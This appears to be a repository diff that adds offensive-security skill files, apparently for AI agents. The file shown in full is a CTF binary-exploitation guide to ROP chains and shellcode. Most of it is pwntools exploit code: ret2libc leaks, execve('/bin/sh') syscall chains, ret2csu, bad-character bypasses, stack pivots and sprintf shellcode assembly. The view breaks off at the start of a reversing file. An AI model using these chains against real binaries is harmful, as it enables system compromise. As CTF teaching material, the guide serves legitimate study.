- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
- package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
- package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
- package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
- package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
- package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
- package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
- package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
|
@@ -0,0 +1,392 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# CTF Pwn - ROP Chains and Shellcode
|
|
4
|
+
|
|
5
|
+
## Table of Contents
|
|
6
|
+
- [ROP Chain Building](#rop-chain-building)
|
|
7
|
+
- [Two-Stage ret2libc (Leak + Shell)](#two-stage-ret2libc-leak--shell)
|
|
8
|
+
- [Raw Syscall ROP (When system() Fails)](#raw-syscall-rop-when-system-fails)
|
|
9
|
+
- [rdx Control in ROP Chains](#rdx-control-in-rop-chains)
|
|
10
|
+
- [Shell Interaction After execve](#shell-interaction-after-execve)
|
|
11
|
+
- [ret2csu — __libc_csu_init Gadgets (Crypto-Cat)](#ret2csu--__libc_csu_init-gadgets-crypto-cat)
|
|
12
|
+
- [Bad Character Bypass via XOR Encoding in ROP (Crypto-Cat)](#bad-character-bypass-via-xor-encoding-in-rop-crypto-cat)
|
|
13
|
+
- [Exotic x86 Gadgets — BEXTR/XLAT/STOSB/PEXT (Crypto-Cat)](#exotic-x86-gadgets--bextrxlatstosbpext-crypto-cat)
|
|
14
|
+
- [64-bit: BEXTR + XLAT + STOSB](#64-bit-bextr--xlat--stosb)
|
|
15
|
+
- [32-bit: PEXT (Parallel Bits Extract)](#32-bit-pext-parallel-bits-extract)
|
|
16
|
+
- [Stack Pivot via xchg rax,esp (Crypto-Cat)](#stack-pivot-via-xchg-raxesp-crypto-cat)
|
|
17
|
+
- [sprintf() Gadget Chaining for Bad Character Bypass (PlaidCTF 2013)](#sprintf-gadget-chaining-for-bad-character-bypass-plaidctf-2013)
|
|
18
|
+
|
|
19
|
+
For double stack pivot, SROP with UTF-8 constraints, RETF architecture switch, seccomp bypass, .fini_array hijack, ret2vdso, pwntools template, and shellcode with input reversal, see [rop-advanced.md](rop-advanced.md).
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## ROP Chain Building
|
|
24
|
+
|
|
25
|
+
```python
|
|
26
|
+
from pwn import *
|
|
27
|
+
|
|
28
|
+
elf = ELF('./binary')
|
|
29
|
+
libc = ELF('./libc.so.6')
|
|
30
|
+
rop = ROP(elf)
|
|
31
|
+
|
|
32
|
+
# Common gadgets
|
|
33
|
+
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
|
|
34
|
+
ret = rop.find_gadget(['ret'])[0]
|
|
35
|
+
|
|
36
|
+
# Leak libc
|
|
37
|
+
payload = flat(
|
|
38
|
+
b'A' * offset,
|
|
39
|
+
pop_rdi,
|
|
40
|
+
elf.got['puts'],
|
|
41
|
+
elf.plt['puts'],
|
|
42
|
+
elf.symbols['main']
|
|
43
|
+
)
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### Two-Stage ret2libc (Leak + Shell)
|
|
47
|
+
|
|
48
|
+
When exploiting in two stages, choose the return target for stage 2 carefully:
|
|
49
|
+
|
|
50
|
+
```python
|
|
51
|
+
# Stage 1: Leak libc via puts@PLT, then re-enter vuln for stage 2
|
|
52
|
+
payload1 = b'A' * offset
|
|
53
|
+
payload1 += p64(pop_rdi)
|
|
54
|
+
payload1 += p64(elf.got['puts'])
|
|
55
|
+
payload1 += p64(elf.plt['puts'])
|
|
56
|
+
payload1 += p64(CALL_VULN_ADDR) # Address of 'call vuln' instruction in main
|
|
57
|
+
|
|
58
|
+
# IMPORTANT: Return target after leak
|
|
59
|
+
# - Returning to main may crash if check_status/setup corrupts stack
|
|
60
|
+
# - Returning to vuln directly may have stack issues
|
|
61
|
+
# - Best: return to the 'call vuln' instruction in main (e.g., 0x401239)
|
|
62
|
+
# This sets up a clean stack frame via the CALL instruction
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
**Leak parsing with no-newline printf:**
|
|
66
|
+
```python
|
|
67
|
+
# If printf("Laundry complete") has no trailing newline,
|
|
68
|
+
# puts() leak appears right after it on the same line:
|
|
69
|
+
# Output: "Laundry complete\x50\x5e\x2c\x7e\x56\x7f\n"
|
|
70
|
+
p.recvuntil(b'Laundry complete')
|
|
71
|
+
leaked = p.recvline().strip()
|
|
72
|
+
libc_addr = u64(leaked.ljust(8, b'\x00'))
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### Raw Syscall ROP (When system() Fails)
|
|
76
|
+
|
|
77
|
+
If calling `system()` or `execve()` via libc function entry crashes (CET/IBT, stack issues), use raw `syscall` instruction from libc gadgets:
|
|
78
|
+
|
|
79
|
+
```python
|
|
80
|
+
# Find gadgets in libc
|
|
81
|
+
libc_rop = ROP(libc)
|
|
82
|
+
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])[0]
|
|
83
|
+
pop_rdi = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
|
|
84
|
+
pop_rsi = libc_rop.find_gadget(['pop rsi', 'ret'])[0]
|
|
85
|
+
pop_rdx_rbx = libc_rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0] # common in modern glibc
|
|
86
|
+
syscall_ret = libc_rop.find_gadget(['syscall', 'ret'])[0]
|
|
87
|
+
|
|
88
|
+
# execve("/bin/sh", NULL, NULL) = syscall 59
|
|
89
|
+
payload = b'A' * offset
|
|
90
|
+
payload += p64(libc_base + pop_rax)
|
|
91
|
+
payload += p64(59)
|
|
92
|
+
payload += p64(libc_base + pop_rdi)
|
|
93
|
+
payload += p64(libc_base + next(libc.search(b'/bin/sh')))
|
|
94
|
+
payload += p64(libc_base + pop_rsi)
|
|
95
|
+
payload += p64(0)
|
|
96
|
+
payload += p64(libc_base + pop_rdx_rbx)
|
|
97
|
+
payload += p64(0)
|
|
98
|
+
payload += p64(0) # rbx junk
|
|
99
|
+
payload += p64(libc_base + syscall_ret)
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
**When to use raw syscall vs libc functions:**
|
|
103
|
+
- `system()` through libc: simplest, but may crash due to stack alignment or CET
|
|
104
|
+
- `execve()` through libc: avoids `system()`'s subprocess overhead, same CET risk
|
|
105
|
+
- Raw `syscall`: bypasses all libc function prologues, most reliable for ROP
|
|
106
|
+
- Note: `pop rdx; ret` is rare in modern libc; look for `pop rdx; pop rbx; ret` instead
|
|
107
|
+
|
|
108
|
+
### rdx Control in ROP Chains
|
|
109
|
+
|
|
110
|
+
After calling libc functions (especially `puts`), `rdx` is often clobbered to a small value (e.g., 1). This breaks subsequent `read(fd, buf, rdx)` calls in ROP chains.
|
|
111
|
+
|
|
112
|
+
**Solutions:**
|
|
113
|
+
1. **pop rdx gadget from libc** -- `pop rdx; ret` is rare; look for `pop rdx; pop rbx; ret` (common at ~0x904a9 in glibc 2.35)
|
|
114
|
+
2. **Re-enter binary's read setup** -- Jump to code that sets `rdx` before `read`:
|
|
115
|
+
```python
|
|
116
|
+
# vuln's read setup: lea rax,[rbp-0x40]; mov edx,0x100; mov rsi,rax; mov edi,0; call read
|
|
117
|
+
# Set rbp first so rbp-0x40 points to target buffer:
|
|
118
|
+
POP_RBP_RET = 0x40113d
|
|
119
|
+
VULN_READ_SETUP = 0x4011ea # lea rax, [rbp-0x40]
|
|
120
|
+
|
|
121
|
+
payload += p64(POP_RBP_RET)
|
|
122
|
+
payload += p64(TARGET_ADDR + 0x40) # rbp-0x40 = TARGET_ADDR
|
|
123
|
+
payload += p64(VULN_READ_SETUP) # read(0, TARGET_ADDR, 0x100)
|
|
124
|
+
# WARNING: After read, code continues to printf + leave;ret
|
|
125
|
+
# leave sets rsp=rbp, so you get a stack pivot to rbp!
|
|
126
|
+
```
|
|
127
|
+
3. **Stack pivot via leave;ret** -- When re-entering vuln's read code, the `leave;ret` after read pivots the stack to `rbp`. Write your next ROP chain at `rbp+8` in the data you send via read.
|
|
128
|
+
|
|
129
|
+
### Shell Interaction After execve
|
|
130
|
+
|
|
131
|
+
After spawning a shell via ROP, the shell reads from the same stdin as the binary. Commands sent too early may be consumed by prior `read()` calls.
|
|
132
|
+
|
|
133
|
+
```python
|
|
134
|
+
p.send(payload) # Trigger execve
|
|
135
|
+
|
|
136
|
+
# Wait for shell to initialize before sending commands
|
|
137
|
+
import time
|
|
138
|
+
time.sleep(1)
|
|
139
|
+
p.sendline(b'id')
|
|
140
|
+
time.sleep(0.5)
|
|
141
|
+
result = p.recv(timeout=3)
|
|
142
|
+
|
|
143
|
+
# For flag retrieval:
|
|
144
|
+
p.sendline(b'cat /flag* flag* 2>/dev/null')
|
|
145
|
+
time.sleep(0.5)
|
|
146
|
+
flag = p.recv(timeout=3)
|
|
147
|
+
|
|
148
|
+
# DON'T pipe commands via stdin when using pwntools - they get consumed
|
|
149
|
+
# by earlier read() calls. Use explicit sendline() after delays instead.
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
## ret2csu — __libc_csu_init Gadgets (Crypto-Cat)
|
|
153
|
+
|
|
154
|
+
**When to use:** Need to control `rdx`, `rsi`, and `edi` for a function call but no direct `pop rdx` gadget exists in the binary. `__libc_csu_init` is present in nearly all dynamically linked ELF binaries and contains two useful gadget sequences.
|
|
155
|
+
|
|
156
|
+
**Gadget 1 (pop chain):** At the end of `__libc_csu_init`:
|
|
157
|
+
```asm
|
|
158
|
+
pop rbx ; 0
|
|
159
|
+
pop rbp ; 1
|
|
160
|
+
pop r12 ; function pointer (address of GOT entry)
|
|
161
|
+
pop r13 ; edi value
|
|
162
|
+
pop r14 ; rsi value
|
|
163
|
+
pop r15 ; rdx value
|
|
164
|
+
ret
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
**Gadget 2 (call + set registers):** Earlier in `__libc_csu_init`:
|
|
168
|
+
```asm
|
|
169
|
+
mov rdx, r15 ; rdx = r15
|
|
170
|
+
mov rsi, r14 ; rsi = r14
|
|
171
|
+
mov edi, r13d ; edi = r13 (32-bit!)
|
|
172
|
+
call [r12 + rbx*8] ; call function pointer
|
|
173
|
+
add rbx, 1
|
|
174
|
+
cmp rbp, rbx
|
|
175
|
+
jne .loop ; loop if rbx != rbp
|
|
176
|
+
; falls through to gadget 1 pop chain
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
**Exploit pattern:**
|
|
180
|
+
```python
|
|
181
|
+
csu_pop = elf.symbols['__libc_csu_init'] + OFFSET_TO_POP_CHAIN
|
|
182
|
+
csu_call = elf.symbols['__libc_csu_init'] + OFFSET_TO_MOV_CALL
|
|
183
|
+
|
|
184
|
+
payload = flat(
|
|
185
|
+
b'A' * offset,
|
|
186
|
+
csu_pop,
|
|
187
|
+
0, # rbx = 0 (index)
|
|
188
|
+
1, # rbp = 1 (loop count, must equal rbx+1)
|
|
189
|
+
elf.got['puts'], # r12 = function to call (GOT entry)
|
|
190
|
+
0xdeadbeef, # r13 → edi (first arg, 32-bit only!)
|
|
191
|
+
0xcafebabe, # r14 → rsi (second arg)
|
|
192
|
+
0x12345678, # r15 → rdx (third arg)
|
|
193
|
+
csu_call, # trigger mov + call
|
|
194
|
+
b'\x00' * 56, # padding for the 7 pops after call returns
|
|
195
|
+
next_gadget, # return address after csu completes
|
|
196
|
+
)
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
**Limitations:** `edi` is set via `mov edi, r13d` — only the lower 32 bits are written. For 64-bit first arguments, use a `pop rdi; ret` gadget instead. The function is called via `call [r12 + rbx*8]` — an indirect call through a pointer, so `r12` must point to a GOT entry or other memory containing the target address.
|
|
200
|
+
|
|
201
|
+
**Key insight:** ret2csu provides universal gadgets for setting up to 3 arguments (`rdi`, `rsi`, `rdx`) and calling any function via its GOT entry, without needing libc gadgets. Useful when the binary is statically small but dynamically linked.
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Bad Character Bypass via XOR Encoding in ROP (Crypto-Cat)
|
|
206
|
+
|
|
207
|
+
**When to use:** ROP payload must write data (e.g., `"/bin/sh"` or `"flag.txt"`) to memory, but certain bytes are forbidden (null bytes, newlines, spaces, etc.).
|
|
208
|
+
|
|
209
|
+
**Strategy:** XOR each chunk of data with a known key, write the XOR'd value to `.data` section, then XOR it back in place using gadgets from the binary.
|
|
210
|
+
|
|
211
|
+
**Required gadgets:**
|
|
212
|
+
```asm
|
|
213
|
+
pop r14; pop r15; ret ; load XOR key (r14) and target address (r15)
|
|
214
|
+
xor [r15], r14; ret ; XOR memory at r15 with r14
|
|
215
|
+
mov [r15], r14; ret ; write r14 to memory at r15 (initial write)
|
|
216
|
+
```
|
|
217
|
+
|
|
218
|
+
**Exploit pattern:**
|
|
219
|
+
```python
|
|
220
|
+
data_section = elf.symbols['__data_start'] # or .data address
|
|
221
|
+
xor_key = 2 # simple key that removes bad chars
|
|
222
|
+
|
|
223
|
+
def xor_bytes(data, key):
|
|
224
|
+
return bytes(b ^ key for b in data)
|
|
225
|
+
|
|
226
|
+
target = b"flag.txt"
|
|
227
|
+
encoded = xor_bytes(target, xor_key)
|
|
228
|
+
|
|
229
|
+
payload = b'A' * offset
|
|
230
|
+
|
|
231
|
+
# Write XOR'd data in 8-byte chunks
|
|
232
|
+
for i in range(0, len(encoded), 8):
|
|
233
|
+
chunk = encoded[i:i+8].ljust(8, b'\x00')
|
|
234
|
+
payload += flat(
|
|
235
|
+
pop_r14_r15,
|
|
236
|
+
chunk, # XOR'd data
|
|
237
|
+
data_section + i, # destination address
|
|
238
|
+
mov_r15_r14, # write to memory
|
|
239
|
+
)
|
|
240
|
+
|
|
241
|
+
# XOR each chunk back to recover original
|
|
242
|
+
for i in range(0, len(target), 8):
|
|
243
|
+
payload += flat(
|
|
244
|
+
pop_r14_r15,
|
|
245
|
+
p64(xor_key), # XOR key
|
|
246
|
+
data_section + i, # target address
|
|
247
|
+
xor_r15_r14, # decode in place
|
|
248
|
+
)
|
|
249
|
+
|
|
250
|
+
# Now data_section contains "flag.txt" — use it as argument
|
|
251
|
+
payload += flat(pop_rdi, data_section, elf.plt['print_file'])
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
**Key insight:** XOR is self-inverse (`a ^ k ^ k = a`). Choose a key that transforms all forbidden bytes into allowed ones. For simple cases, XOR with `2` or `0x41` works. For complex restrictions, solve per-byte: for each position, find any key byte where `original ^ key` avoids all bad characters.
|
|
255
|
+
|
|
256
|
+
---
|
|
257
|
+
|
|
258
|
+
## Exotic x86 Gadgets — BEXTR/XLAT/STOSB/PEXT (Crypto-Cat)
|
|
259
|
+
|
|
260
|
+
**When to use:** Standard `mov [reg], reg` write gadgets don't exist in the binary. Look for obscure x86 instructions that can be chained for byte-by-byte memory writes.
|
|
261
|
+
|
|
262
|
+
### 64-bit: BEXTR + XLAT + STOSB
|
|
263
|
+
|
|
264
|
+
**BEXTR** (Bit Field Extract) extracts bits from a source register. **XLAT** translates a byte via table lookup (`al = [rbx + al]`). **STOSB** stores `al` to `[rdi]` and increments `rdi`.
|
|
265
|
+
|
|
266
|
+
```python
|
|
267
|
+
# Gadgets from questionableGadgets section of binary
|
|
268
|
+
xlat_ret = elf.symbols.questionableGadgets # xlat byte ptr [rbx]; ret
|
|
269
|
+
bextr_ret = elf.symbols.questionableGadgets + 2 # pop rdx; pop rcx; add rcx, 0x3ef2;
|
|
270
|
+
# bextr rbx, rcx, rdx; ret
|
|
271
|
+
stosb_ret = elf.symbols.questionableGadgets + 17 # stosb byte ptr [rdi], al; ret
|
|
272
|
+
|
|
273
|
+
data_section = elf.symbols.__data_start
|
|
274
|
+
|
|
275
|
+
# Write "flag.txt" byte by byte
|
|
276
|
+
for i, char in enumerate(b"flag.txt"):
|
|
277
|
+
# Find address of char in binary's read-only data
|
|
278
|
+
char_addr = next(elf.search(bytes([char])))
|
|
279
|
+
|
|
280
|
+
# BEXTR extracts rbx from rcx using rdx as control
|
|
281
|
+
# rcx = char_addr - 0x3ef2 (compensate for add)
|
|
282
|
+
# rdx = 0x4000 (extract 64 bits starting at bit 0)
|
|
283
|
+
payload += flat(
|
|
284
|
+
bextr_ret,
|
|
285
|
+
0x4000, # rdx (BEXTR control: start=0, len=64)
|
|
286
|
+
char_addr - 0x3ef2, # rcx (offset compensated)
|
|
287
|
+
xlat_ret, # al = byte at [rbx + al]
|
|
288
|
+
pop_rdi,
|
|
289
|
+
data_section + i,
|
|
290
|
+
stosb_ret, # [rdi] = al; rdi++
|
|
291
|
+
)
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
### 32-bit: PEXT (Parallel Bits Extract)
|
|
295
|
+
|
|
296
|
+
**PEXT** selects bits from a source using a mask and packs them contiguously. Combined with BSWAP and XCHG for byte-level writes.
|
|
297
|
+
|
|
298
|
+
```python
|
|
299
|
+
# Gadgets
|
|
300
|
+
pext_ret = elf.symbols.questionableGadgets # mov eax,ebp; mov ebx,0xb0bababa;
|
|
301
|
+
# pext edx,ebx,eax; ...ret
|
|
302
|
+
bswap_ret = elf.symbols.questionableGadgets + 21 # pop ecx; bswap ecx; ret
|
|
303
|
+
xchg_ret = elf.symbols.questionableGadgets + 18 # xchg byte ptr [ecx], dl; ret
|
|
304
|
+
|
|
305
|
+
# For each target byte, compute mask so that PEXT(0xb0bababa, mask) = target_byte
|
|
306
|
+
def find_mask(target_byte, source=0xb0bababa):
|
|
307
|
+
"""Find 32-bit mask that extracts target_byte from source via PEXT."""
|
|
308
|
+
source_bits = [(source >> i) & 1 for i in range(32)]
|
|
309
|
+
target_bits = [(target_byte >> i) & 1 for i in range(8)]
|
|
310
|
+
# Select 8 bits from source that match target bits
|
|
311
|
+
mask = 0
|
|
312
|
+
matched = 0
|
|
313
|
+
for i in range(32):
|
|
314
|
+
if matched < 8 and source_bits[i] == target_bits[matched]:
|
|
315
|
+
mask |= (1 << i)
|
|
316
|
+
matched += 1
|
|
317
|
+
return mask if matched == 8 else None
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
**Key insight:** When a binary lacks standard write gadgets, exotic instructions (BEXTR, PEXT, XLAT, STOSB, BSWAP, XCHG) can be chained for the same effect. Check `questionableGadgets` or similar labeled sections in challenge binaries.
|
|
321
|
+
|
|
322
|
+
---
|
|
323
|
+
|
|
324
|
+
## Stack Pivot via xchg rax,esp (Crypto-Cat)
|
|
325
|
+
|
|
326
|
+
**When to use:** Buffer is too small for the full ROP chain, but the program leaks a heap/stack address where a larger buffer has been prepared.
|
|
327
|
+
|
|
328
|
+
**Two-stage pattern:**
|
|
329
|
+
```python
|
|
330
|
+
# Stage 1: Program provides a heap address where it wrote user data
|
|
331
|
+
pivot_addr = int(io.recvline(), 16)
|
|
332
|
+
|
|
333
|
+
# Prepare ROP chain at the pivot address (via earlier input)
|
|
334
|
+
stage2_rop = flat(
|
|
335
|
+
pop_rdi, elf.got['puts'],
|
|
336
|
+
elf.plt['puts'], # leak libc
|
|
337
|
+
elf.symbols['main'], # return to main for stage 3
|
|
338
|
+
)
|
|
339
|
+
io.send(stage2_rop) # Written to pivot_addr by program
|
|
340
|
+
|
|
341
|
+
# Stage 2: Overflow with stack pivot
|
|
342
|
+
xchg_rax_esp = elf.symbols.usefulGadgets + 2 # xchg rax, esp; ret
|
|
343
|
+
pop_rax = elf.symbols.usefulGadgets # pop rax; ret
|
|
344
|
+
|
|
345
|
+
payload = flat(
|
|
346
|
+
b'A' * offset,
|
|
347
|
+
pop_rax,
|
|
348
|
+
pivot_addr, # load pivot address into rax
|
|
349
|
+
xchg_rax_esp, # swap rax ↔ esp → stack now points to stage2_rop
|
|
350
|
+
)
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
**Why xchg vs. leave;ret:**
|
|
354
|
+
- `leave; ret` sets `rsp = rbp` — requires controlling `rbp` (often possible via overflow)
|
|
355
|
+
- `xchg rax, esp` swaps directly — requires controlling `rax` (via `pop rax; ret`)
|
|
356
|
+
- `xchg` works even when `rbp` is not on the stack (e.g., small buffer overflow)
|
|
357
|
+
|
|
358
|
+
**Limitation:** `xchg rax, esp` truncates to 32-bit on x86-64 (sets upper 32 bits of rsp to 0). The pivot address must be in the lower 4GB of address space. Heap and mmap regions often qualify; stack addresses (0x7fff...) do not.
|
|
359
|
+
|
|
360
|
+
---
|
|
361
|
+
|
|
362
|
+
## sprintf() Gadget Chaining for Bad Character Bypass (PlaidCTF 2013)
|
|
363
|
+
|
|
364
|
+
**Pattern:** When shellcode contains bytes filtered by the input handler (null, space, slash, colon, etc.), use `sprintf()` to copy individual bytes from the executable's own memory — one byte at a time — to assemble clean shellcode on BSS.
|
|
365
|
+
|
|
366
|
+
```python
|
|
367
|
+
from pwn import *
|
|
368
|
+
|
|
369
|
+
# Step 1: Scan executable for addresses containing each needed byte
|
|
370
|
+
exe_data = open('binary', 'rb').read()
|
|
371
|
+
byte_addrs = {} # Maps byte value -> address in executable
|
|
372
|
+
for c in range(256):
|
|
373
|
+
for i in range(len(exe_data)):
|
|
374
|
+
addr = exe_base + i
|
|
375
|
+
if exe_data[i] == c and not has_bad_chars(p32(addr)):
|
|
376
|
+
byte_addrs[c] = addr
|
|
377
|
+
break
|
|
378
|
+
|
|
379
|
+
# Step 2: Chain sprintf(bss_dest, byte_addr) for each shellcode byte
|
|
380
|
+
rop = b''
|
|
381
|
+
for i, byte in enumerate(shellcode):
|
|
382
|
+
rop += p32(sprintf_plt)
|
|
383
|
+
rop += p32(pop3ret) # Clean 3 args
|
|
384
|
+
rop += p32(bss_addr + i) # Destination
|
|
385
|
+
rop += p32(byte_addrs[byte]) # Source (1 byte + null terminator)
|
|
386
|
+
rop += p32(0) # Unused arg
|
|
387
|
+
|
|
388
|
+
# Step 3: Jump to assembled shellcode on BSS
|
|
389
|
+
rop += p32(bss_addr)
|
|
390
|
+
```
|
|
391
|
+
|
|
392
|
+
**Key insight:** `sprintf(dst, src)` copies bytes until a null terminator — effectively a single-byte copy when `src` points to a byte followed by `\x00`. Each call in the ROP chain places one shellcode byte. The source addresses come from the binary's own `.text`/`.rodata` sections. Requires a `pop3ret` gadget for stack cleanup between calls.
|
|
@@ -0,0 +1,284 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: ctf-reversing
|
|
5
|
+
